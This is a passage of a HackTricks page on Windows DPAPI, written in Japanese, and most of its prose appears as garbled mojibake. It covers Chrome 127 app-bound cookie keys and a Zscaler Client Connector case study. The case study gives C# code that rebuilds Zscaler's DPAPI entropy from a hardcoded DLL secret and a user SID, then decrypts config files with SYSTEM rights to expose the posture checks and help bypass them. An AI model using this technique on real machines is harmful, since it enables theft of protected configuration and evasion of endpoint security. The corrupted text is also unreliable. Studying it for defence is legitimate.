- Chrome 127 âApp-Boundâ cookie encryption (2024幎7æ) ã¯åŸæ¥ã® DPAPI ã®ã¿ã®ä¿è·ã眮ãæãã远å ã®ããŒããŠãŒã¶ã® Credential Manager ã«æ ŒçŽããæ¹åŒã«ããŸãããã¯ãããŒã®ãªãã©ã€ã³åŸ©å·ã«ã¯çŸåšãDPAPI masterkey ãš GCM-wrapped app-bound key ã®äž¡æ¹ãå¿ èŠã§ããSharpChrome v2.3 ãš DonPAPI 2.x ã¯ãŠãŒã¶ã³ã³ããã¹ãã§å®è¡ãããšè¿œå ããŒãå埩ã§ããŸãã
ã±ãŒã¹ã¹ã¿ãã£: Zscaler Client Connector â SID ããå°åºãããã«ã¹ã¿ã ãšã³ããããŒ
Zscaler Client Connector 㯠C:\ProgramData\Zscaler é
äžã«è€æ°ã®èšå®ãã¡ã€ã«ïŒäŸ: config.dat, users.dat, *.ztc, *.mtt, *.mtc, *.mtpïŒãä¿åããŸããåãã¡ã€ã«ã¯ DPAPI (Machine scope) ã§æå·åãããŠããŸããããã³ãã¯ãã£ã¹ã¯ã«ä¿åãã代ããã«å®è¡æã« èšç®ããã custom entropy ãæäŸããŸãã
ãã®ãšã³ããããŒã¯2ã€ã®èŠçŽ ããåæ§ç¯ãããŸã:
ZSACredentialProvider.dllã«åã蟌ãŸããããŒãã³ãŒããããã·ãŒã¯ã¬ããã- ãã®èšå®ãå±ãã Windows ã¢ã«ãŠã³ãã® SIDã
DLL ã«ãã£ãŠå®è£ ãããŠããã¢ã«ãŽãªãºã ã¯æ¬¡ãšç䟡ã§ã:
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
tmp[i] = (byte)(sid[i] ^ secret[i]);
// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
ç§å¯ããã£ã¹ã¯ããèªã¿åããDLLã«åã蟌ãŸããŠãããããSYSTEMæš©éãæã€ä»»æã®ããŒã«ã«æ»æè ã¯ä»»æã®SIDã«å¯Ÿãããšã³ããããŒãåçæã§ããŸããããã³ãªãã©ã€ã³ã§blobsã埩å·ã§ããŸã:
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
埩å·ãããšããã¹ãŠã® ããã€ã¹ã®ãã¹ãã£ãã§ã㯠ãšãã®æåŸ å€ãå«ãå®å šãª JSON æ§æãåŸãããŸã â ã¯ã©ã€ã¢ã³ãåŽã®ãã€ãã¹ã詊ã¿ãéã«éåžžã«æçšãªæ å ±ã§ãã
ãã³ã: ãã®ä»ã®æå·åãããã¢ãŒãã£ãã¡ã¯ãïŒ
*.mtt,*.mtp,*.mtc,*.ztcïŒã¯ DPAPI ã䜿ã£ãŠãšã³ããããŒãªãïŒ16ãã€ãã®ãŒãïŒã§ä¿è·ãããŠããŸãããããã£ãŠãSYSTEM æš©éãååŸããã°ProtectedData.Unprotectã§çŽæ¥åŸ©å·ã§ããŸãã
åèæç®
-
Synacktiv â Should you trust your zero trust? Bypassing Zscaler posture checks
-
https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
-
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
-
https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
-
https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
-
HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


